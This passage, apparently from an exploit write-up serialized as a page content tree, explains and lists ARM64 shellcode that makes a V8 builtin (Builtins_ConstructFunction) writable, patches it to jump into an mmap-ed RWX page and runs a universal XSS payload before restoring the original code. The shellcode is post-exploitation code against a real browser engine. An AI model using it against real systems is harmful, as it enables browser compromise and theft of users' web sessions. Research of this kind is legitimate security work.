runs the XSS payload",{"type":26,"tag":86,"props":138924,"children":138925},{},[138926,138928],{"type":32,"value":138927},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":26,"tag":53,"props":138929,"children":138931},{"className":138930},[],[138932],{"type":32,"value":138900},{"type":26,"tag":86,"props":138934,"children":138935},{},[138936,138938,138943],{"type":32,"value":138937},"The mmap-ed shellcode then returns to the beginning of ",{"type":26,"tag":53,"props":138939,"children":138941},{"className":138940},[],[138942],{"type":32,"value":138900},{"type":32,"value":138944},", which now proceeds normally",{"type":26,"tag":35,"props":138946,"children":138947},{},[138948],{"type":32,"value":138949},"The ARM64 shellcode implementing this looks as follows:",{"type":26,"tag":465,"props":138951,"children":138955},{"code":138952,"language":138953,"meta":7,"className":138954,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[138956],{"type":26,"tag":53,"props":138957,"children":138958},{"__ignoreMap":7},[138959,138967,138975,138983,138991,138998,139006,139014,139022,139030,139037,139045,139053,139061,139069,139077,139084,139092,139100,139108,139116,139124,139132,139139,139147,139154,139162,139170,139178,139185,139193,139201,139209,139217,139224,139231,139238,139245,139253,139261,139269,139276,139284,139292,139299,139307,139315,139323,139330,139338,139346,139354,139362,139369,139376,139384],{"type":26,"tag":475,"props":138960,"children":138961},{"class":477,"line":478},[138962],{"type":26,"tag":475,"props":138963,"children":138964},{},[138965],{"type":32,"value":138966},"// get return addr to x0\n",{"type":26,"tag":475,"props":138968,"children":138969},{"class":477,"line":516},[138970],{"type":26,"tag":475,"props":138971,"children":138972},{},[138973],{"type":32,"value":138974},"ldr x0, [sp, #0x18]\n",{"type":26,"tag":475,"props":138976,"children":138977},{"class":477,"line":539},[138978],{"type":26,"tag":475,"props":138979,"children":138980},{},[138981],{"type":32,"value":138982},"// strip pac signature from return address\n",{"type":26,"tag":475,"props":138984,"children":138985},{"class":477,"line":548},[138986],{"type":26,"tag":475,"props":138987,"children":138988},{},[138989],{"type":32,"value":138990},".arch armv8.3-a; xpaci x0\n",{"type":26,"tag":475,"props":138992,"children":138993},{"class":477,"line":558},[138994],{"type":26,"tag":475,"props":138995,"children":138996},{"emptyLinePlaceholder":18},[138997],{"type":32,"value":545},{"type":26,"tag":475,"props":138999,"children":139000},{"class":477,"line":582},[139001],{"type":26,"tag":475,"props":139002,"children":139003},{},[139004],{"type":32,"value":139005},"// store x5 = Builtins_ConstructFunction\n",{"type":26,"tag":475,"props":139007,"children":139008},{"class":477,"line":596},[139009],{"type":26,"tag":475,"props":139010,"children":139011},{},[139012],{"type":32,"value":139013},"movz x1, #0x610c\n",{"type":26,"tag":475,"props":139015,"children":139016},{"class":477,"line":610},[139017],{"type":26,"tag":475,"props":139018,"children":139019},{},[139020],{"type":32,"value":139021},"sub x0, x0, x1\n",{"type":26,"tag":475,"props":139023,"children":139024},{"class":477,"line":650},[139025],{"type":26,"tag":475,"props":139026,"children":139027},{},[139028],{"type":32,"value":139029},"mov x5, x0\n",{"type":26,"tag":475,"props":139031,"children":139032},{"class":477,"line":679},[139033],{"type":26,"tag":475,"props":139034,"children":139035},{"emptyLinePlaceholder":18},[139036],{"type":32,"value":545},{"type":26,"tag":475,"props":139038,"children":139039},{"class":477,"line":735},[139040],{"type":26,"tag":475,"props":139041,"children":139042},{},[139043],{"type":32,"value":139044},"// store x4 = page aligned ConstructFunction\n",{"type":26,"tag":475,"props":139046,"children":139047},{"class":477,"line":744},[139048],{"type":26,"tag":475,"props":139049,"children":139050},{},[139051],{"type":32,"value":139052},"movz x1, #0xf000\n",{"type":26,"tag":475,"props":139054,"children":139055},{"class":477,"line":753},[139056],{"type":26,"tag":475,"props":139057,"children":139058},{},[139059],{"type":32,"value":139060},"movk x1, #0xffff, lsl #16\n",{"type":26,"tag":475,"props":139062,"children":139063},{"class":477,"line":761},[139064],{"type":26,"tag":475,"props":139065,"children":139066},{},[139067],{"type":32,"value":139068},"movk x1, #0xffff, lsl #32\n",{"type":26,"tag":475,"props":139070,"children":139071},{"class":477,"line":770},[139072],{"type":26,"tag":475,"props":139073,"children":139074},{},[139075],{"type":32,"value":139076},"and x4, x5, x1\n",{"type":26,"tag":475,"props":139078,"children":139079},{"class":477,"line":794},[139080],{"type":26,"tag":475,"props":139081,"children":139082},{"emptyLinePlaceholder":18},[139083],{"type":32,"value":545},{"type":26,"tag":475,"props":139085,"children":139086},{"class":477,"line":831},[139087],{"type":26,"tag":475,"props":139088,"children":139089},{},[139090],{"type":32,"value":139091},"// mprotect page aligned ConstructFunction RWX\n",{"type":26,"tag":475,"props":139093,"children":139094},{"class":477,"line":845},[139095],{"type":26,"tag":475,"props":139096,"children":139097},{},[139098],{"type":32,"value":139099},"mov x0, x4\n",{"type":26,"tag":475,"props":139101,"children":139102},{"class":477,"line":854},[139103],{"type":26,"tag":475,"props":139104,"children":139105},{},[139106],{"type":32,"value":139107},"mov x1, #0x2000\n",{"type":26,"tag":475,"props":139109,"children":139110},{"class":477,"line":862},[139111],{"type":26,"tag":475,"props":139112,"children":139113},{},[139114],{"type":32,"value":139115},"mov x2, #0x7\n",{"type":26,"tag":475,"props":139117,"children":139118},{"class":477,"line":885},[139119],{"type":26,"tag":475,"props":139120,"children":139121},{},[139122],{"type":32,"value":139123},"mov x8, #226\n",{"type":26,"tag":475,"props":139125,"children":139126},{"class":477,"line":913},[139127],{"type":26,"tag":475,"props":139128,"children":139129},{},[139130],{"type":32,"value":139131},"svc #0\n",{"type":26,"tag":475,"props":139133,"children":139134},{"class":477,"line":926},[139135],{"type":26,"tag":475,"props":139136,"children":139137},{"emptyLinePlaceholder":18},[139138],{"type":32,"value":545},{"type":26,"tag":475,"props":139140,"children":139141},{"class":477,"line":948},[139142],{"type":26,"tag":475,"props":139143,"children":139144},{},[139145],{"type":32,"value":139146},"mov x6, x5\n",{"type":26,"tag":475,"props":139148,"children":139149},{"class":477,"line":966},[139150],{"type":26,"tag":475,"props":139151,"children":139152},{"emptyLinePlaceholder":18},[139153],{"type":32,"value":545},{"type":26,"tag":475,"props":139155,"children":139156},{"class":477,"line":979},[139157],{"type":26,"tag":475,"props":139158,"children":139159},{},[139160],{"type":32,"value":139161},"// mmap RWX for jump dest (uxss_sc)\n",{"type":26,"tag":475,"props":139163,"children":139164},{"class":477,"line":1006},[139165],{"type":26,"tag":475,"props":139166,"children":139167},{},[139168],{"type":32,"value":139169},"mov x0, #0\n",{"type":26,"tag":475,"props":139171,"children":139172},{"class":477,"line":1046},[139173],{"type":26,"tag":475,"props":139174,"children":139175},{},[139176],{"type":32,"value":139177},"mov x1, #0x1000\n",{"type":26,"tag":475,"props":139179,"children":139180},{"class":477,"line":1068},[139181],{"type":26,"tag":475,"props":139182,"children":139183},{},[139184],{"type":32,"value":139115},{"type":26,"tag":475,"props":139186,"children":139187},{"class":477,"line":1077},[139188],{"type":26,"tag":475,"props":139189,"children":139190},{},[139191],{"type":32,"value":139192},"mov x3, #34\n",{"type":26,"tag":475,"props":139194,"children":139195},{"class":477,"line":1090},[139196],{"type":26,"tag":475,"props":139197,"children":139198},{},[139199],{"type":32,"value":139200},"mov x4, #-1\n",{"type":26,"tag":475,"props":139202,"children":139203},{"class":477,"line":1119},[139204],{"type":26,"tag":475,"props":139205,"children":139206},{},[139207],{"type":32,"value":139208},"mov x5, #0\n",{"type":26,"tag":475,"props":139210,"children":139211},{"class":477,"line":1132},[139212],{"type":26,"tag":475,"props":139213,"children":139214},{},[139215],{"type":32,"value":139216},"mov x8, #222\n",{"type":26,"tag":475,"props":139218,"children":139219},{"class":477,"line":1146},[139220],{"type":26,"tag":475,"props":139221,"children":139222},{},[139223],{"type":32,"value":139131},{"type":26,"tag":475,"props":139225,"children":139226},{"class":477,"line":1155},[139227],{"type":26,"tag":475,"props":139228,"children":139229},{"emptyLinePlaceholder":18},[139230],{"type":32,"value":545},{"type":26,"tag":475,"props":139232,"children":139233},{"class":477,"line":1163},[139234],{"type":26,"tag":475,"props":139235,"children":139236},{},[139237],{"type":32,"value":139029},{"type":26,"tag":475,"props":139239,"children":139240},{"class":477,"line":1172},[139241],{"type":26,"tag":475,"props":139242,"children":139243},{"emptyLinePlaceholder":18},[139244],{"type":32,"value":545},{"type":26,"tag":475,"props":139246,"children":139247},{"class":477,"line":1181},[139248],{"type":26,"tag":475,"props":139249,"children":139250},{},[139251],{"type":32,"value":139252},"// at this point:\n",{"type":26,"tag":475,"props":139254,"children":139255},{"class":477,"line":1189},[139256],{"type":26,"tag":475,"props":139257,"children":139258},{},[139259],{"type":32,"value":139260},"// x6 = Builtins_ConstructFunction\n",{"type":26,"tag":475,"props":139262,"children":139263},{"class":477,"line":1221},[139264],{"type":26,"tag":475,"props":139265,"children":139266},{},[139267],{"type":32,"value":139268},"// x5 = mmap page for uxss_sc\n",{"type":26,"tag":475,"props":139270,"children":139271},{"class":477,"line":1848},[139272],{"type":26,"tag":475,"props":139273,"children":139274},{"emptyLinePlaceholder":18},[139275],{"type":32,"value":545},{"type":26,"tag":475,"props":139277,"children":139278},{"class":477,"line":1857},[139279],{"type":26,"tag":475,"props":139280,"children":139281},{},[139282],{"type":32,"value":139283},"// write uxss_sc to mmaped rwx page\n",{"type":26,"tag":475,"props":139285,"children":139286},{"class":477,"line":1866},[139287],{"type":26,"tag":475,"props":139288,"children":139289},{},[139290],{"type":32,"value":139291},"{write_sc(uxss_sc, \"x5\")}\n",{"type":26,"tag":475,"props":139293,"children":139294},{"class":477,"line":1875},[139295],{"type":26,"tag":475,"props":139296,"children":139297},{"emptyLinePlaceholder":18},[139298],{"type":32,"value":545},{"type":26,"tag":475,"props":139300,"children":139301},{"class":477,"line":1883},[139302],{"type":26,"tag":475,"props":139303,"children":139304},{},[139305],{"type":32,"value":139306},"// wipe from cache\n",{"type":26,"tag":475,"props":139308,"children":139309},{"class":477,"line":1892},[139310],{"type":26,"tag":475,"props":139311,"children":139312},{},[139313],{"type":32,"value":139314},"mov x0, x5\n",{"type":26,"tag":475,"props":139316,"children":139317},{"class":477,"line":1901},[139318],{"type":26,"tag":475,"props":139319,"children":139320},{},[139321],{"type":32,"value":139322},"{WIPE_CACHE}\n",{"type":26,"tag":475,"props":139324,"children":139325},{"class":477,"line":1910},[139326],{"type":26,"tag":475,"props":139327,"children":139328},{"emptyLinePlaceholder":18},[139329],{"type":32,"value":545},{"type":26,"tag":475,"props":139331,"children":139332},{"class":477,"line":1919},[139333],{"type":26,"tag":475,"props":139334,"children":139335},{},[139336],{"type":32,"value":139337},"// patch Builtins_ConstructFunction\n",{"type":26,"tag":475,"props":139339,"children":139340},{"class":477,"line":1927},[139341],{"type":26,"tag":475,"props":139342,"children":139343},{},[139344],{"type":32,"value":139345},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":26,"tag":475,"props":139347,"children":139348},{"class":477,"line":1936},[139349],{"type":26,"tag":475,"props":139350,"children":139351},{},[139352],{"type":32,"value":139353},"// and add a pointer to uxss_sc just above new instructions\n",{"type":26,"tag":475,"props":139355,"children":139356},{"class":477,"line":1945},[139357],{"type":26,"tag":475,"props":139358,"children":139359},{},[139360],{"type":32,"value":139361},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":26,"tag":475,"props":139363,"children":139364},{"class":477,"line":1967},[139365],{"type":26,"tag":475,"props":139366,"children":139367},{"emptyLinePlaceholder":18},[139368],{"type":32,"value":545},{"type":26,"tag":475,"props":139370,"children":139371},{"class":477,"line":1976},[139372],{"type":26,"tag":475,"props":139373,"children":139374},{},[139375],{"type":32,"value":139306},{"type":26,"tag":475,"props":139377,"children":139378},{"class":477,"line":1984},[139379],{"type":26,"tag":475,"props":139380,"children":139381},{},[139382],{"type":32,"value":139383},"mov x0, x6\n",{"type":26,"tag":475,"props":139385,"children":139386},{"class":477,"line":1992},[139387],{"type":26,"tag":475,"props":139388,"children":139389},{},[139390],{"type":32,"value":139322},{"type":26,"tag":35,"props":139392,"children":139393},{},[139394,139396,139402,139404,139409,139411,139417],{"type":32,"value":139395},"In the snippet above, ",{"type":26,"tag":53,"props":139397,"children":139399},{"className":139398},[],[139400],{"type":32,"value":139401},"new_compile_instrs",{"type":32,"value":139403}," refers to the instructions written to the beginning of ",{"type":26,"tag":53,"props":139405,"children":139407},{"className":139406},[],[139408],{"type":32,"value":138900},{"type":32,"value":139410}," that invoke the ",{"type":26,"tag":53,"props":139412,"children":139414},{"className":139413},[],[139415],{"type":32,"value":139416},"uxss_sc",{"type":32,"value":139418}," mmap-ed shellcode:",{"type":26,"tag":465,"props":139420,"children":139422},{"code":139421,"language":138953,"meta":7,"className":138954,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[139423],{"type":26,"tag":53,"props":139424,"children":139425},{"__ignoreMap":7},[139426,139434,139441,139449,139457,139464,139472,139480,139487,139495,139503,139510,139518],{"type":26,"tag":475,"props":139427,"children":139428},{"class":477,"line":478},[139429],{"type":26,"tag":475,"props":139430,"children":139431},{},[139432],{"type":32,"value":139433},"bti c\n",{"type":26,"tag":475,"props":139435,"children":139436},{"class":477,"line":516},[139437],{"type":26,"tag":475,"props":139438,"children":139439},{"emptyLinePlaceholder":18},[139440],{"type":32,"value":545},{"type":26,"tag":475,"props":139442,"children":139443},{"class":477,"line":539},[139444],{"type":26,"tag":475,"props":139445,"children":139446},{},[139447],{"type":32,"value":139448},"// store registers that will be overwritten\n",{"type":26,"tag":475,"props":139450,"children":139451},{"class":477,"line":548},[139452],{"type":26,"tag":475,"props":139453,"children":139454},{},[139455],{"type":32,"value":139456},"stp x15, lr, [sp, #-16]!\n",{"type":26,"tag":475,"props":139458,"children":139459},{"class":477,"line":558},[139460],{"type":26,"tag":475,"props":139461,"children":139462},{"emptyLinePlaceholder":18},[139463],{"type":32,"value":545},{"type":26,"tag":475,"props":139465,"children":139466},{"class":477,"line":582},[139467],{"type":26,"tag":475,"props":139468,"children":139469},{},[139470],{"type":32,"value":139471},"// get current rip into x15\n",{"type":26,"tag":475,"props":139473,"children":139474},{"class":477,"line":596},[139475],{"type":26,"tag":475,"props":139476,"children":139477},{},[139478],{"type":32,"value":139479},"adr x15, .\n",{"type":26,"tag":475,"props":139481,"children":139482},{"class":477,"line":610},[139483],{"type":26,"tag":475,"props":139484,"children":139485},{"emptyLinePlaceholder":18},[139486],{"type":32,"value":545},{"type":26,"tag":475,"props":139488,"children":139489},{"class":477,"line":650},[139490],{"type":26,"tag":475,"props":139491,"children":139492},{},[139493],{"type":32,"value":139494},"// load the uxss_sc pointer saved just above new instructions\n",{"type":26,"tag":475,"props":139496,"children":139497},{"class":477,"line":679},[139498],{"type":26,"tag":475,"props":139499,"children":139500},{},[139501],{"type":32,"value":139502},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":26,"tag":475,"props":139504,"children":139505},{"class":477,"line":735},[139506],{"type":26,"tag":475,"props":139507,"children":139508},{"emptyLinePlaceholder":18},[139509],{"type":32,"value":545},{"type":26,"tag":475,"props":139511,"children":139512},{"class":477,"line":744},[139513],{"type":26,"tag":475,"props":139514,"children":139515},{},[139516],{"type":32,"value":139517},"// jump to uxss_sc\n",{"type":26,"tag":475,"props":139519,"children":139520},{"class":477,"line":753},[139521],{"type":26,"tag":475,"props":139522,"children":139523},{},[139524],{"type":32,"value":139525},"blr x15\n",{"type":26,"tag":35,"props":139527,"children":139528},{},[139529,139534,139536,139541],{"type":26,"tag":53,"props":139530,"children":139532},{"className":139531},[],[139533],{"type":32,"value":139416},{"type":32,"value":139535}," is the mmap-ed shellcode invoked by the patched ",{"type":26,"tag":53,"props":139537,"children":139539},{"className":139538},[],[139540],{"type":32,"value":138900},{"type":32,"value":139542}," to execute our XSS payload. Its prologue looks like this:",{"type":26,"tag":465,"props":139544,"children":139546},{"code":139545,"language":138953,"meta":7,"className":138954,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[139547],{"type":26,"tag":53,"props":139548,"children":139549},{"__ignoreMap":7},[139550,139557,139564,139572,139580,139588,139596,139604,139612,139620,139628,139636,139644,139652,139660,139668,139676,139684,139692],{"type":26,"tag":475,"props":139551,"children":139552},{"class":477,"line":478},[139553],{"type":26,"tag":475,"props":139554,"children":139555},{},[139556],{"type":32,"value":139433},{"type":26,"tag":475,"props":139558,"children":139559},{"class":477,"line":516},[139560],{"type":26,"tag":475,"props":139561,"children":139562},{"emptyLinePlaceholder":18},[139563],{"type":32,"value":545},{"type":26,"tag":475,"props":139565,"children":139566},{"class":477,"line":539},[139567],{"type":26,"tag":475,"props":139568,"children":139569},{},[139570],{"type":32,"value":139571},"// Save full register context\n",{"type":26,"tag":475,"props":139573,"children":139574},{"class":477,"line":548},[139575],{"type":26,"tag":475,"props":139576,"children":139577},{},[139578],{"type":32,"value":139579},"stp x0, x1, [sp, #-16]!\n",{"type":26,"tag":475,"props":139581,"children":139582},{"class":477,"line":558},[139583],{"type":26,"tag":475,"props":139584,"children":139585},{},[139586],{"type":32,"value":139587},"stp x2, x3, [sp, #-16]!\n",{"type":26,"tag":475,"props":139589,"children":139590},{"class":477,"line":582},[139591],{"type":26,"tag":475,"props":139592,"children":139593},{},[139594],{"type":32,"value":139595},"stp x4, x5, [sp, #-16]!\n",{"type":26,"tag":475,"props":139597,"children":139598},{"class":477,"line":596},[139599],{"type":26,"tag":475,"props":139600,"children":139601},{},[139602],{"type":32,"value":139603},"stp x6, x7, [sp, #-16]!\n",{"type":26,"tag":475,"props":139605,"children":139606},{"class":477,"line":610},[139607],{"type":26,"tag":475,"props":139608,"children":139609},{},[139610],{"type":32,"value":139611},"stp x8, x9, [sp, #-16]!\n",{"type":26,"tag":475,"props":139613,"children":139614},{"class":477,"line":650},[139615],{"type":26,"tag":475,"props":139616,"children":139617},{},[139618],{"type":32,"value":139619},"stp x10, x11, [sp, #-16]!\n",{"type":26,"tag":475,"props":139621,"children":139622},{"class":477,"line":679},[139623],{"type":26,"tag":475,"props":139624,"children":139625},{},[139626],{"type":32,"value":139627},"stp x12, x13, [sp, #-16]!\n",{"type":26,"tag":475,"props":139629,"children":139630},{"class":477,"line":735},[139631],{"type":26,"tag":475,"props":139632,"children":139633},{},[139634],{"type":32,"value":139635},"stp x14, x15, [sp, #-16]!\n",{"type":26,"tag":475,"props":139637,"children":139638},{"class":477,"line":744},[139639],{"type":26,"tag":475,"props":139640,"children":139641},{},[139642],{"type":32,"value":139643},"stp x16, x17, [sp, #-16]!\n",{"type":26,"tag":475,"props":139645,"children":139646},{"class":477,"line":753},[139647],{"type":26,"tag":475,"props":139648,"children":139649},{},[139650],{"type":32,"value":139651},"stp x18, x19, [sp, #-16]!\n",{"type":26,"tag":475,"props":139653,"children":139654},{"class":477,"line":761},[139655],{"type":26,"tag":475,"props":139656,"children":139657},{},[139658],{"type":32,"value":139659},"stp x20, x21, [sp, #-16]!\n",{"type":26,"tag":475,"props":139661,"children":139662},{"class":477,"line":770},[139663],{"type":26,"tag":475,"props":139664,"children":139665},{},[139666],{"type":32,"value":139667},"stp x22, x23, [sp, #-16]!\n",{"type":26,"tag":475,"props":139669,"children":139670},{"class":477,"line":794},[139671],{"type":26,"tag":475,"props":139672,"children":139673},{},[139674],{"type":32,"value":139675},"stp x24, x25, [sp, #-16]!\n",{"type":26,"tag":475,"props":139677,"children":139678},{"class":477,"line":831},[139679],{"type":26,"tag":475,"props":139680,"children":139681},{},[139682],{"type":32,"value":139683},"stp x26, x27, [sp, #-16]!\n",{"type":26,"tag":475,"props":139685,"children":139686},{"class":477,"line":845},[139687],{"type":26,"tag":475,"props":139688,"children":139689},{},[139690],{"type":32,"value":139691},"stp x28, x29, [sp, #-16]!\n",{"type":26,"tag":475,"props":139693,"children":139694},{"class":477,"line":854},[139695],{"type":26,"tag":475,"props":139696,"children":139697},{},[139698],{"type":32,"value":139699},"str lr, [sp, #-16]!\n",{"type":26,"tag":35,"props":139701,"children":139702},{},[139703],{"type":32,"value":139704},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":26,"tag":35,"props":139706,"children":139707},{},[139708,139710,139715],{"type":32,"value":139709},"The epilogue restores all saved registers, restores the original instructions in ",{"type":26,"tag":53,"props":139711,"children":139713},{"className":139712},[],[139714],{"type":32,"value":138900},{"type":32,"value":139716},", and then returns execution to its beginning:",{"type":26,"tag":465,"props":139718,"children":139720},{"code":139719,"language":138953,"meta":7,"className":138954,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[139721],{"type":26,"tag":53,"props":139722,"children":139723},{"__ignoreMap":7},[139724,139732,139740,139748,139756,139764,139771,139778,139786,139793,139800,139808,139816,139824,139832,139840,139848,139856,139864,139872,139880,139888,139896,139904,139912,139920,139928,139935,139943,139951,139959,139967,139975,139982,139990,139998,140005],{"type":26,"tag":475,"props":139725,"children":139726},{"class":477,"line":478},[139727],{"type":26,"tag":475,"props":139728,"children":139729},{},[139730],{"type":32,"value":139731},"// restore original instructions of Builtins_ConstructFunction\n",{"type":26,"tag":475,"props":139733,"children":139734},{"class":477,"line":516},[139735],{"type":26,"tag":475,"props":139736,"children":139737},{},[139738],{"type":32,"value":139739},"ldr lr, [sp], #16\n",{"type":26,"tag":475,"props":139741,"children":139742},{"class":477,"line":539},[139743],{"type":26,"tag":475,"props":139744,"children":139745},{},[139746],{"type":32,"value":139747},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":26,"tag":475,"props":139749,"children":139750},{"class":477,"line":548},[139751],{"type":26,"tag":475,"props":139752,"children":139753},{},[139754],{"type":32,"value":139755},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":26,"tag":475,"props":139757,"children":139758},{"class":477,"line":558},[139759],{"type":26,"tag":475,"props":139760,"children":139761},{},[139762],{"type":32,"value":139763},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":26,"tag":475,"props":139765,"children":139766},{"class":477,"line":582},[139767],{"type":26,"tag":475,"props":139768,"children":139769},{"emptyLinePlaceholder":18},[139770],{"type":32,"value":545},{"type":26,"tag":475,"props":139772,"children":139773},{"class":477,"line":596},[139774],{"type":26,"tag":475,"props":139775,"children":139776},{},[139777],{"type":32,"value":139306},{"type":26,"tag":475,"props":139779,"children":139780},{"class":477,"line":610},[139781],{"type":26,"tag":475,"props":139782,"children":139783},{},[139784],{"type":32,"value":139785},"mov x0, lr\n",{"type":26,"tag":475,"props":139787,"children":139788},{"class":477,"line":650},[139789],{"type":26,"tag":475,"props":139790,"children":139791},{},[139792],{"type":32,"value":139322},{"type":26,"tag":475,"props":139794,"children":139795},{"class":477,"line":679},[139796],{"type":26,"tag":475,"props":139797,"children":139798},{"emptyLinePlaceholder":18},[139799],{"type":32,"value":545},{"type":26,"tag":475,"props":139801,"children":139802},{"class":477,"line":735},[139803],{"type":26,"tag":475,"props":139804,"children":139805},{},[139806],{"type":32,"value":139807},"// restore original registers\n",{"type":26,"tag":475,"props":139809,"children":139810},{"class":477,"line":744},[139811],{"type":26,"tag":475,"props":139812,"children":139813},{},[139814],{"type":32,"value":139815},"ldp x28, x29, [sp], #16\n",{"type":26,"tag":475,"props":139817,"children":139818},{"class":477,"line":753},[139819],{"type":26,"tag":475,"props":139820,"children":139821},{},[139822],{"type":32,"value":139823},"ldp x26, x27, [sp], #16\n",{"type":26,"tag":475,"props":139825,"children":139826},{"class":477,"line":761},[139827],{"type":26,"tag":475,"props":139828,"children":139829},{},[139830],{"type":32,"value":139831},"ldp x24, x25, [sp], #16\n",{"type":26,"tag":475,"props":139833,"children":139834},{"class":477,"line":770},[139835],{"type":26,"tag":475,"props":139836,"children":139837},{},[139838],{"type":32,"value":139839},"ldp x22, x23, [sp], #16\n",{"type":26,"tag":475,"props":139841,"children":139842},{"class":477,"line":794},[139843],{"type":26,"tag":475,"props":139844,"children":139845},{},[139846],{"type":32,"value":139847},"ldp x20, x21, [sp], #16\n",{"type":26,"tag":475,"props":139849,"children":139850},{"class":477,"line":831},[139851],{"type":26,"tag":475,"props":139852,"children":139853},{},[139854],{"type":32,"value":139855},"ldp x18, x19, [sp], #16\n",{"type":26,"tag":475,"props":139857,"children":139858},{"class":477,"line":845},[139859],{"type":26,"tag":475,"props":139860,"children":139861},{},[139862],{"type":32,"value":139863},"ldp x16, x17, [sp], #16\n",{"type":26,"tag":475,"props":139865,"children":139866},{"class":477,"line":854},[139867],{"type":26,"tag":475,"props":139868,"children":139869},{},[139870],{"type":32,"value":139871},"ldp x14, x15, [sp], #16\n",{"type":26,"tag":475,"props":139873,"children":139874},{"class":477,"line":862},[139875],{"type":26,"tag":475,"props":139876,"children":139877},{},[139878],{"type":32,"value":139879},"ldp x12, x13, [sp], #16\n",{"type":26,"tag":475,"props":139881,"children":139882},{"class":477,"line":885},[139883],{"type":26,"tag":475,"props":139884,"children":139885},{},[139886],{"type":32,"value":139887},"ldp x10, x11, [sp], #16\n",{"type":26,"tag":475,"props":139889,"children":139890},{"class":477,"line":913},[139891],{"type":26,"tag":475,"props":139892,"children":139893},{},[139894],{"type":32,"value":139895},"ldp x8, x9, [sp], #16\n",{"type":26,"tag":475,"props":139897,"children":139898},{"class":477,"line":926},[139899],{"type":26,"tag":475,"props":139900,"children":139901},{},[139902],{"type":32,"value":139903},"ldp x6, x7, [sp], #16\n",{"type":26,"tag":475,"props":139905,"children":139906},{"class":477,"line":948},[139907],{"type":26,"tag":475,"props":139908,"children":139909},{},[139910],{"type":32,"value":139911},"ldp x4, x5, [sp], #16\n",{"type":26,"tag":475,"props":139913,"children":139914},{"class":477,"line":966},[139915],{"type":26,"tag":475,"props":139916,"children":139917},{},[139918],{"type":32,"value":139919},"ldp x2, x3, [sp], #16\n",{"type":26,"tag":475,"props":139921,"children":139922},{"class":477,"line":979},[139923],{"type":26,"tag":475,"props":139924,"children":139925},{},[139926],{"type":32,"value":139927},"ldp x0, x1, [sp], #16\n",{"type":26,"tag":475,"props":139929,"children":139930},{"class":477,"line":1006},[139931],{"type":26,"tag":475,"props":139932,"children":139933},{"emptyLinePlaceholder":18},[139934],{"type":32,"value":545},{"type":26,"tag":475,"props":139936,"children":139937},{"class":477,"line":1046},[139938],{"type":26,"tag":475,"props":139939,"children":139940},{},[139941],{"type":32,"value":139942},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":26,"tag":475,"props":139944,"children":139945},{"class":477,"line":1068},[139946],{"type":26,"tag":475,"props":139947,"children":139948},{},[139949],{"type":32,"value":139950},"// it immediately, so we can clobber and use it as a return register.\n",{"type":26,"tag":475,"props":139952,"children":139953},{"class":477,"line":1077},[139954],{"type":26,"tag":475,"props":139955,"children":139956},{},[139957],{"type":32,"value":139958},"// This is done so lr isnt clobbered and ConstructFunction 